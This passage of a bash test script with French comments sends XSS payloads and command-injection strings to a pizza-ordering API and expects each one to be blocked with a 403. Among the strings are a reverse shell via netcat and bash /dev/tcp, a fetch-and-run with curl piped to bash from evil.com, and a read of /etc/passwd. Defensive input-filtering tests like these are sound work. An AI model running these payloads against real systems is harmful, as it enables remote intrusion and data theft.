'{"username":"<marquee onstart=alert(1)>","password":"test"}' \
403 "XSS - marquee onstart"
# Test 16: XSS avec details/summary
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<details open ontoggle=alert(1)>","password":"test"}' \
403 "XSS - details ontoggle"
# Test 17: XSS avec javascript: protocol
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<a href=javascript:alert(1)>click</a>","password":"test"}' \
403 "XSS - javascript protocol"
# Test 18: XSS avec data: URI
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"<a href=data:text/html,<script>alert(1)</script>>click</a>","password":"test"}' \
403 "XSS - data URI"
# Test 19: XSS encodé HTML
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"&lt;script&gt;alert(1)&lt;/script&gt;","password":"test"}' \
403 "XSS - Encodage HTML entities"
# Test 20: XSS avec polyglotte
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"jaVasCript:/*-/*`/*\\`/*'\''/*\"/**/(/* */oNcLiCk=alert() )//","password":"test"}' \
403 "XSS - Polyglotte"
}
# =============================================================================
# Tests RCE (Remote Code Execution)
# =============================================================================
test_rce() {
print_header "TESTS RCE (REMOTE CODE EXECUTION)"
print_section "1. RCE - Command Injection basique"
# Test 1: Command substitution avec $()
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(whoami)","category":"pizza","quantity":1}' \
403 "RCE - Command substitution"
# Test 2: Command substitution avec backticks
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"`whoami`","category":"pizza","quantity":1}' \
403 "RCE - Command substitution backticks"
# Test 3: Pipe command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test|whoami","category":"pizza","quantity":1}' \
403 "RCE - Pipe command"
# Test 4: Semicolon command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test;whoami","category":"pizza","quantity":1}' \
403 "RCE - Semicolon chaining"
# Test 5: AND command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test&&whoami","category":"pizza","quantity":1}' \
403 "RCE - AND chaining"
# Test 6: OR command chaining
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"test||whoami","category":"pizza","quantity":1}' \
403 "RCE - OR chaining"
print_section "2. RCE - Commandes système dangereuses"
# Test 7: cat /etc/passwd
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(cat /etc/passwd)","category":"pizza","quantity":1}' \
403 "RCE - cat /etc/passwd"
# Test 8: ls command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(ls -la)","category":"pizza","quantity":1}' \
403 "RCE - ls command"
# Test 9: wget command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(wget http://evil.com/shell.sh)","category":"pizza","quantity":1}' \
403 "RCE - wget download"
# Test 10: curl command
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(curl http://evil.com/shell.sh|bash)","category":"pizza","quantity":1}' \
403 "RCE - curl pipe bash"
# Test 11: nc (netcat) reverse shell
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(nc -e /bin/sh evil.com 4444)","category":"pizza","quantity":1}' \
403 "RCE - netcat reverse shell"
# Test 12: bash reverse shell
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"$(bash -i >& /dev/tcp/evil.com/4444 0>&1)","category":"pizza","quantity":1}' \
403 "RCE - bash reverse shell"
print_section "3. RCE - Dans autres endpoints"
# Test 13: RCE dans adresse checkout
http_test_client "POST" "/api/v1/checkout" \
'{"delivery_address":"$(whoami)"}' \
403 "RCE - Adresse checkout"
# Test 14: RCE dans login
http_test_no_auth "POST" "/api/v1/auth/login" \
'{"username":"$(id)","password":"test"}' \
403 "RCE - Login username"
# Test 15: RCE dans commentaire
http_test_client "POST" "/api/v1/commands/1/approve" \
'{"rating":5,"comment":"$(uname -a)"}' \
403 "RCE - Commentaire approbation"
# Test 16: RCE dans raison annulation
http_test_client "POST" "/api/v1/commands/1/cancel" \
'{"reason":"$(pwd)"}' \
403 "RCE - Raison annulation"
print_section "4. RCE - Python/Perl/Ruby injection"
# Test 17: Python code execution
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"__import__(\"os\").system(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - Python import os"
# Test 18: eval() injection
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"eval(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - eval injection"
# Test 19: exec() injection
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"exec(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - exec injection"
# Test 20: system() call
http_test_client "POST" "/api/v1/panier/add" \
'{"name_product":"system(\"whoami\")","category":"pizza","quantity":1}' \
403 "RCE - system call"
}
main() {
# Exécution des tests
authenticate
test_rce
test_xss
test_sql_injection
http_test_no_auth
}
main